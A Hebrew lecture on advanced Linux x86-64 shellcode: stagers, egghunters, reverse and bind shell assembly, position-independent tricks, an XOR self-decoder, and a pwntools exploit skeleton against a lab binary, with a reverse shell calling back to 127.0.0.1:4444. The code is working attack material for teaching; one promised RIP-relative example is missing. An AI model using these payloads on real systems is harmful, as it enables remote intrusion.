3.4 shellcode מתקדם הרצאה
בפרק הזה כבר כתבנו shellcode ידני שפותח shell (3.1), הזרקנו והרצנו אותו על מחסנית ניתנת להרצה (3.2), ולמדנו להתמודד עם קלט מוגבל שאוסר בתים או תווים מסוימים (3.3). כל אלה הניחו שני דברים נוחים: שיש לנו מספיק מקום להזריק את כל ה-shellcode במכה אחת, ושה-shell שנפתח יושב על אותו מסך שממנו הרצנו את התוכנית. במציאות שני הדברים האלה כמעט אף פעם לא נכונים. לפעמים הbuffer שאנחנו שולטים עליו הוא בן 40 בתים ו-execve שלם לא נכנס בו, לפעמים ה-shellcode נוחת באזור זיכרון אחר לגמרי מזה שאנחנו קופצים אליו, ולרוב היעד הוא שרת מרוחק שאין לנו אליו מסך בכלל.
בהרצאה הזו נלמד את הטכניקות שפותרות בדיוק את הבעיות האלה: שרשור שלבים (staging) כשהמקום צר, ציידי ביצים (egghunters) כשלא יודעים איפה נחת הpayload, מעטפת הפוכה ומעטפת מאזינה כדי לקבל shell דרך הרשת, ולבסוף העקרונות שמאפשרים ל-shellcode לרוץ בכל כתובת ואפילו לשנות את עצמו בזמן ריצה. ההנחות שנעבוד תחתן: נניח ASLR כבוי (או שאנחנו לא צריכים כתובות מוחלטות בכלל), ונאמר במפורש בכל טכניקה אם היא דורשת אזור זיכרון ניתן להרצה.
שרשור שלבים - staging¶
הבעיה: מצאנו overflow, אנחנו שולטים על ה-RIP, אבל אורך הקלט שאנחנו יכולים לכתוב קטן. נניח 40 בתים. reverse shell מלא הוא בערך 74 בתים, אז הוא פשוט לא נכנס. מה עושים?
הרעיון של staging הוא לחלק את ההתקפה לשני שלבים. השלב הראשון (stager) הוא קטנטן - כל תפקידו הוא לקרוא עוד בתים מאותו ערוץ שדרכו הגענו, לשים אותם באזור זיכרון ניתן להרצה, ולקפוץ אליהם. השלב השני (stage-2) הוא הpayload האמיתי והגדול, ואותו כבר אין הגבלת מקום לשלוח כי הוא נכנס דרך read רגיל ולא דרך הoverflow עצמה.
+-----------------------------------------------------------+
| stage 1 - stager (small, enters via the overflow) |
| read(fd, buf, N) -> fills buf with stage 2 |
| jmp buf -> jumps to run stage 2 |
+-----------------------------------------------------------+
|
v (after the overflow runs the stager, we send more bytes)
+-----------------------------------------------------------+
| stage 2 - the full payload (reverse shell / bind shell / anything) |
+-----------------------------------------------------------+
גרסה מינימלית של stager כשהמחסנית ניתנת להרצה¶
אם היעד עם NX כבוי (מחסנית מריצה, למשל שקומפלה עם -z execstack), ה-stager הכי קצר פשוט קורא את שלב 2 אל תוך המחסנית וקופץ אליה. fd = 0 הוא הקלט הסטנדרטי, ואם היעד הוא שרת, זה יהיה ה-fd של החיבור.
stager:
xor edi, edi ; fd = 0 (stdin, or the socket's fd)
mov rsi, rsp ; buf = top of the stack (executable here)
push 1
pop rdx
shl rdx, 12 ; count = 0x1000, no zero byte
xor eax, eax ; SYS_read = 0
syscall ; reads stage 2 into [rsp]
jmp rsi ; jumps to run stage 2
שימו לב לטריק של shl rdx, 12 במקום mov edx, 0x1000. הערך 0x1000 מכיל בית אפס בבית התחתון, אז במקום לטעון אותו ישירות אנחנו טוענים 1 ומזיזים 12 ביט שמאלה. אותו הרגל שראינו ב-3.3. ה-stager הזה הוא כ-15 בתים בלבד ונכנס כמעט בכל buffer.
גרסה עמידה של stager עם mmap כשיש NX¶
אם המחסנית לא ניתנת להרצה, ה-stager חייב קודם ליצור לעצמו אזור RWX. עושים זאת עם mmap. זה גדול יותר (בערך 40 בתים), אבל עובד גם כשאין שום אזור מריץ מראש:
stager:
; page = mmap(0, 0x1000, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0)
push 9
pop rax ; SYS_mmap = 9
xor edi, edi ; addr = 0
push 1
pop rsi
shl rsi, 12 ; length = 0x1000
push 7
pop rdx ; prot = PROT_READ|WRITE|EXEC
push 0x22
pop r10 ; flags = MAP_PRIVATE|MAP_ANONYMOUS
xor r8d, r8d
dec r8 ; fd = -1
xor r9d, r9d ; offset = 0
syscall ; rax = address of the page
mov r13, rax ; save the page's address
; read(fd, page, 0x1000)
xor edi, edi ; fd = 0
mov rsi, r13 ; buf = the page
push 1
pop rdx
shl rdx, 12 ; count = 0x1000
xor eax, eax ; SYS_read = 0
syscall
jmp r13 ; jumps to stage 2
חלופה כשכבר קיים אזור כתיב שאנחנו יודעים את כתובתו: קוראים אליו את שלב 2, מריצים עליו mprotect(addr, len, PROT_RWX) (קריאת מערכת 10) כדי לתת לו הרשאת הרצה, ואז קופצים. זו התבנית הנפוצה מול יעדים עם W^X שבהם עמוד אחד לא יכול להיות גם כתיב וגם מריץ בו-זמנית מרגע היצירה.
ציידי ביצים - egghunters¶
לפעמים הבעיה הפוכה: יש לנו הרבה מקום לpayload, אבל אנחנו לא יודעים באיזו כתובת הוא נחת. דוגמה קלאסית: התוכנית קוראת את הקלט הגדול שלנו לbuffer בערמה או במשתנה סביבה, אבל הoverflow שנתנה לנו שליטה על ה-RIP נמצאת במקום אחר לגמרי ומוגבלת בגודל. אנחנו יכולים לכתוב payload גדול, אבל אין לנו את הכתובת שלו כדי לקפוץ אליו.
הפתרון: egghunter. זהו קוד קטן שנכנס במקום הצר, וכל תפקידו הוא לסרוק את הזיכרון של התהליך ולחפש סימן ייחודי - הביצה (egg) - שהצמדנו לתחילת הpayload האמיתי. כשהוא מוצא את הביצה, הוא קופץ לקוד שמיד אחריה.
+----------------+ +------------------------------------+
| small egghunter| ---> | scans all of memory until it finds the egg |
| (enters via the overflow) | +------------------------------------+
+----------------+ |
v (found!)
+----------------------------------------------------------------+
| egg | egg | ...the real large payload (reverse shell, for example)... |
+----------------------------------------------------------------+
^ jumps here, right after the two egg copies
הקושי היחיד הוא לסרוק זיכרון בלי לקרוס. אם ננסה לקרוא כתובת שאינה ממופה, נקבל SIGSEGV. הטריק הקלאסי (של skape) הוא להשתמש בקריאת המערכת access כגשש: מעבירים לה מצביע, ואם העמוד לא חוקי היא מחזירה EFAULT במקום להפיל את התהליך. ככה אפשר לבדוק כל עמוד לפני שנוגעים בו.
הנה egghunter ל-x86-64 שמשתמש בביצה 0x90509050 (מופיעה פעמיים ברצף לפני הpayload, 8 בתים):
egghunter:
xor rdx, rdx ; rdx = current address, start from 0
next_page:
or dx, 0xfff ; jump to the end of the current page
next_addr:
inc rdx ; advance one byte
lea rdi, [rdx+4] ; the address to check (the page of rdx+4)
push 21
pop rax ; SYS_access = 21
syscall ; access(rdi, ...) -> rax
cmp al, 0xf2 ; EFAULT (-14) in the low byte?
jz next_page ; if so - the page is invalid, skip to the next page
mov eax, 0x90509050 ; the egg we're looking for
mov rdi, rdx ; rdi = the current address
scasd ; compares [rdi] to eax, rdi += 4
jnz next_addr ; no match - continue to the next byte
scasd ; also compares the second copy of the egg
jnz next_addr
jmp rdi ; found! rdi already points past the two eggs, to the payload
כמה נקודות חשובות. ראשית, ה-egg מופיע פעמיים ברצף (8 בתים) כדי להימנע מהתאמות מקריות. שנית, שימו לב ש-0x90509050 מופיע פעם אחת גם בתוך ה-egghunter עצמו, בהוראת ה-mov eax. בגלל שאנחנו דורשים שני עותקים רצופים, הסורק לא יתפוס בטעות את ההוראה של עצמו. שלישית, EFAULT הוא 14, וקריאת המערכת מחזירה -14 שהוא 0xFFFFFFFFFFFFFFF2, ולכן הבית התחתון הוא 0xf2. הגרסה הקלאסית ל-x86-32 זהה ברעיון, רק עם int 0x80, מספר הקריאה 33 ל-access, ורגיסטרים צרים.
היתרון הגדול של egghunter: הוא לא מושפע מ-ASLR בכלל. לא משנה איפה נחת הpayload, אנחנו סורקים את כל מרחב הכתובות עד שמוצאים אותו. המחיר: הסריקה איטית יחסית (בית-בית), אבל בפועל זה עניין של שברירי שנייה.
מעטפת הפוכה - reverse shell¶
עד עכשיו ה-shellcode שלנו פתח shell מקומי (execve("/bin/sh")) שדיבר עם הקלט והפלט הסטנדרטיים. מול שרת מרוחק זה חסר תועלת: אין לנו מסך שם. במקום זה אנחנו רוצים reverse shell - ה-shellcode יוצר חיבור החוצה, חזרה למחשב שלנו, ומחבר את ה-shell לחיבור הזה.
הרצף הוא ארבע קריאות מערכת:
1. socket(AF_INET, SOCK_STREAM, 0) -> gets an fd for a socket
2. connect(fd, {ip, port}, 16) -> connects back to us
3. dup2(fd, 0/1/2) -> redirects stdin/stdout/stderr to the socket
4. execve("/bin/sh", 0, 0) -> runs a shell that talks over the socket
השלב היחיד שדורש תשומת לב הוא בניית מבנה sockaddr_in על המחסנית. הוא 16 בתים:
struct sockaddr_in {
sin_family (2 bytes) = AF_INET = 0x0002 -> in memory: 02 00
sin_port (2 bytes) = 4444 in network order -> in memory: 11 5c
sin_addr (4 bytes) = 127.0.0.1 in network order -> in memory: 7f 00 00 01
sin_zero (8 bytes) = zero padding
}
שימו לב שהפורט וה-IP הם בסדר רשת (big-endian): 4444 הוא 0x115c, ובזיכרון הוא נשמר 11 5c. שמונת הבתים הראשונים בזיכרון הם 02 00 11 5c 7f 00 00 01, שזה כ-qword ב-little-endian הערך 0x0100007f5c110002. הנה ה-shellcode המלא ל-x86-64:
_start:
; fd = socket(AF_INET=2, SOCK_STREAM=1, 0)
push 41
pop rax ; SYS_socket = 41
push 2
pop rdi ; AF_INET
push 1
pop rsi ; SOCK_STREAM
xor edx, edx ; protocol = 0
syscall
mov rdi, rax ; rdi = sockfd (save it)
; connect(sockfd, &sockaddr, 16)
xor eax, eax
push rax ; sin_zero = 8 zero bytes (high address)
mov rax, 0x0100007f5c110002
push rax ; family/port/ip (low address, rsp points here)
mov rsi, rsp ; rsi -> sockaddr
push 16
pop rdx ; addrlen = 16
push 42
pop rax ; SYS_connect = 42
syscall
; dup2(sockfd, 2), dup2(sockfd, 1), dup2(sockfd, 0)
push 2
pop rsi ; start from stderr
dup_loop:
push 33
pop rax ; SYS_dup2 = 33
syscall ; dup2(rdi=sockfd, rsi)
dec rsi
jns dup_loop ; loops for 2,1,0 and then stops at -1
; execve("/bin//sh", 0, 0)
xor edx, edx ; envp = NULL
push rdx ; zero qword - terminates the string
mov rbx, 0x68732f2f6e69622f ; "/bin//sh"
push rbx
mov rdi, rsp ; rdi -> "/bin//sh"
xor esi, esi ; argv = NULL
push 59
pop rax ; SYS_execve = 59
syscall
הערה חשובה על בתים אפס: ה-shellcode הזה מכיל בתי אפס (בעיקר בתוך ה-immediate של sockaddr וב-"/bin//sh"). אם אתם מזריקים אותו דרך וקטור רגיש לאפסים (כמו strcpy), תצטרכו לקודד אותו כמו שראינו ב-3.3, או לבנות את הערכים בזמן ריצה. כרגע אנחנו מניחים וקטור שסובל אפסים (למשל read שקורא כמות קבועה של בתים).
ב-pwntools לא צריך לכתוב את כל זה ביד. המודול shellcraft מייצר reverse shell מוכן:
from pwn import *
context.arch = 'amd64'
# generates a chain of connect + dup + sh. Print to see which register holds the fd
sc = asm(shellcraft.amd64.linux.connect('127.0.0.1', 4444) +
shellcraft.amd64.linux.dupsh('rbp'))
print(disasm(sc))
מקשיבים בצד שלנו עם nc -lvnp 4444, מריצים את היעד, ומקבלים shell. תמיד כדאי להדפיס את הפלט של shellcraft ולוודא באיזה רגיסטר הוא משאיר את ה-fd לפני שמשרשרים את dupsh.
מעטפת מאזינה - bind shell¶
לפעמים אין לנו איך להתחבר החוצה מהיעד (חומת אש שחוסמת חיבורים יוצאים), אבל אנחנו כן יכולים להתחבר אליו. אז הופכים את הכיוון: ה-shellcode פותח סוקט, מאזין על פורט, ומחכה שאנחנו נתחבר. זה bind shell.
הרצף ארוך יותר:
1. socket(AF_INET, SOCK_STREAM, 0)
2. bind(fd, {INADDR_ANY, port}, 16) -> binds to a local port (IP = 0.0.0.0)
3. listen(fd, 0) -> starts listening
4. client = accept(fd, 0, 0) -> waits for us to connect, returns a new fd
5. dup2(client, 0/1/2) -> redirects the shell to the connection
6. execve("/bin/sh", 0, 0)
מספרי הקריאות ב-x86-64: bind = 49, listen = 50, accept = 43. ההבדל העיקרי מ-reverse shell הוא שב-sockaddr שדה ה-IP הוא INADDR_ANY (כלומר 0.0.0.0, כל הבתים אפס), ושאחרי accept ה-fd שאנחנו מפנים אליו הוא ה-fd החדש של הלקוח, לא של הסוקט המאזין. כתיבת כל זה ביד ארוכה, אז הנה הגרסה של pwntools שהיא הדרך המעשית:
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.amd64.linux.bindsh(4444, 'ipv4'))
print(len(sc), 'bytes')
בצד שלנו מתחברים עם nc <target-ip> 4444 ומקבלים shell. הכלל לזכור: reverse shell מתחבר החוצה (טוב כשחומת אש חוסמת חיבורים נכנסים), bind shell מאזין ומחכה (טוב כשחוסמים חיבורים יוצאים). ברוב היעדים המודרניים reverse shell הוא הבחירה הבטוחה.
אי-תלות במיקום - position independence¶
כל ה-shellcode שכתבנו עד כה הוא כבר עצמאי במיקום, ולא במקרה: בנינו את כל הנתונים (המחרוזות, ה-sockaddr) על המחסנית בזמן ריצה, ולא הסתמכנו על אף כתובת מוחלטת. זו הדרישה הבסיסית - shellcode חייב לרוץ נכון בלי קשר לכתובת שבה נחת, כי כמעט אף פעם לא נדע אותה מראש.
אבל לפעמים אנחנו כן צריכים את הכתובת של נתון שמוטמע בתוך ה-shellcode עצמו (למשל מחרוזת ארוכה שלא נוח לבנות עם push). איך משיגים את הכתובת של משהו שנמצא "כאן", בלי לדעת מה הכתובת המוחלטת? יש שתי דרכים.
הדרך הקלאסית, שעובדת בכל ארכיטקטורה, היא jmp-call-pop. הוראת call דוחפת למחסנית את כתובת ההוראה הבאה - שהיא בדיוק הכתובת של הנתון שלנו:
jmp short getstr
back:
pop rsi ; rsi = the address of the string (pushed by call)
; ... rsi is used here ...
getstr:
call back ; pushes the address of the string that follows the call
db "/bin/sh", 0
ב-x86-64 יש דרך נקייה יותר, כי הארכיטקטורה תומכת בכתובת יחסית ל-RIP באופן מובנה:
שתי הגרסאות נותנות את אותה תוצאה - כתובת מוחלטת נכונה של הנתון, בלי לקודד שום כתובת קבועה. הבחירה בין call/pop ל-lea rip-relative היא בעיקר עניין של תאימות: אם אתם צריכים shellcode שרץ גם ב-32 ביט, call/pop הוא הבטוח.
קוד שמשנה את עצמו - self-modifying code¶
הטכניקה האחרונה מחברת את הכל. ב-3.3 ראינו שלפעמים הקלט מוגבל - אסור בתים אפס, או מותר רק תווים מודפסים, או רק אלפאנומריים. shellcode אמיתי של execve כמעט תמיד מפר את ההגבלות האלה. הפתרון: מקודדים את ה-shellcode ה"אמיתי" כך שהוא כן עומד בהגבלה, ומצמידים לו קדימה מפענח (decoder) קטן שכן עומד בהגבלה בעצמו. בזמן ריצה המפענח משחזר את הקוד המקורי בזיכרון - כלומר, כותב על עצמו - ואז נופל ישר לתוכו.
הנה מפענח XOR פשוט ל-x86-64. הוא מפענח את הpayload המקודד בעזרת מפתח קבוע, במקום, ואז קופץ אליו:
decoder:
jmp short call_enc
decode:
pop rdi ; rdi = address of the encoded payload
push rdi ; save the start to the stack
xor ecx, ecx
mov cl, PAYLOAD_LEN ; length of the encoded payload
.loop:
xor byte [rdi], 0xAA ; decodes one byte in place (key 0xAA)
inc rdi
loop .loop ; loops PAYLOAD_LEN times (rcx)
ret ; pops the start address -> jumps to the decoded code
call_enc:
call decode ; pushes the address of the encoded data that follows
encoded:
; the encoded bytes sit here (real execve, each byte XOR 0xAA)
הזרימה מחוכמת: ה-call decode דוחף למחסנית את כתובת encoded. בתוך decode אנחנו שולפים אותה ל-rdi, דוחפים אותה בחזרה (למחסנית) כדי לשמור, מפענחים את כל הבתים במקום, ואז ret שולף את הכתובת השמורה וקופץ ל-encoded - שעכשיו כבר מכיל את הקוד המקורי המפוענח. פשוט ונקי מכתובות מוחלטות.
חשוב מאוד להבין את התנאי: קוד שמשנה את עצמו דורש שאזור הזיכרון יהיה גם כתיב וגם ניתן להרצה (RWX). מול יעד עם W^X (עמוד לא יכול להיות W ו-X בו-זמנית) התבנית הזו נכשלת, ואז מפענחים אל תוך אזור RWX חדש שיצרנו עם mmap - בדיוק כמו ב-stager. עוד עדינות: ב-x86 המטמון של ההוראות (icache) קוהרנטי, אז שינוי בזיכרון נראה מיד למעבד. בארכיטקטורות כמו ARM זה לא מובן מאליו, ותצטרכו לרוקן את המטמון אחרי הכתיבה, אחרת המעבד עלול להריץ את הבתים הישנים.
שרשור הכל יחד - exploit skeleton¶
נחבר את staging לpayload אמיתי בתרחיש מלא. נניח בינארי vulnerable vuln שקורא קלט לbuffer קטן על המחסנית, המחסנית ניתנת להרצה (קומפל עם -z execstack -fno-stack-protector -no-pie), ASLR כבוי, וכתובת הbuffer ידועה. הbuffer קטן מכדי להכיל reverse shell שלם, אז נשתמל ב-stager: הoverflow מריצה את ה-stager, וה-stager קורא את שלב 2 (ה-reverse shell) דרך אותו stdin וקופץ אליו.
from pwn import *
context.arch = 'amd64'
context.binary = elf = ELF('./vuln')
# stage 1 - small stager: read(0, rsp, 0x1000); jmp rsp
stage1 = asm('''
xor edi, edi
mov rsi, rsp
push 1
pop rdx
shl rdx, 12
xor eax, eax
syscall
jmp rsi
''')
# stage 2 - the large payload: reverse shell
stage2 = asm(shellcraft.amd64.linux.connect('127.0.0.1', 4444) +
shellcraft.amd64.linux.dupsh('rbp'))
offset = 40 # distance from the start of the buffer to the return address (from cyclic)
buf_addr = 0x7fffffffe010 # address of the buffer (ASLR off) - stage1 runs from here
p = process('./vuln')
# the overflow: stage1 at the start of the buffer, padding, then overwriting RIP with the buffer's address
payload = stage1
payload = payload.ljust(offset, b'\x90')
payload += p64(buf_addr)
p.sendline(payload) # runs stage1
# now stage1 is waiting in read. send it stage2 over the same channel
p.send(stage2)
p.interactive() # get a shell from the nc listener
מקשיבים עם nc -lvnp 4444 לפני ההרצה. ההנחות כאן מפורשות: מחסנית מריצה (NX כבוי), ASLR כבוי כדי שכתובת הbuffer תהיה קבועה, ובלי canary. ברגע שנוסיף NX נחזור ל-stager מבוסס mmap, וברגע שנוסיף ASLR נצטרך leak כתובת (פרק 4) או egghunter שלא צריך כתובת בכלל.
סיכום¶
- שרשור שלבים - staging: כשמקום הinjection קטן, מזריקים stager זעיר שקורא את הpayload הגדול לאזור ניתן להרצה וקופץ אליו. גרסה מינימלית קוראת אל המחסנית המריצה, גרסה עמידה יוצרת אזור RWX עם
mmap(אוmprotectעל אזור קיים). - ציידי ביצים - egghunters: כשלא יודעים איפה נחת הpayload, סורקים את הזיכרון אחרי סימן ייחודי (egg) שהצמדנו לpayload. משתמשים ב-
accessכדי לא לקרוס על עמודים לא ממופים. חסין ל-ASLR לחלוטין. - מעטפת הפוכה - reverse shell:
socket+connect+dup2+execve, מתחברת חזרה אלינו. מתאים כשחוסמים חיבורים נכנסים. - מעטפת מאזינה - bind shell:
socket+bind+listen+accept+dup2+execve, מאזינה על פורט. מתאים כשחוסמים חיבורים יוצאים. - אי-תלות במיקום: בונים נתונים על המחסנית, ולכתובת של נתון מוטמע משתמשים ב-
jmp/call/pop(כל ארכיטקטורה) או ב-leaיחסית ל-RIP (x86-64). - קוד שמשנה את עצמו: מפענח קטן שעומד בהגבלות הקלט משחזר בזמן ריצה payload מקודד. דורש RWX, ובמעבדים לא-x86 גם רענון של מטמון ההוראות.
- כל הטכניקות האלה מרכיבות את הגשר בין shellcode "מעבדה" ל-shellcode שעובד על יעד אמיתי, צר ומרוחק.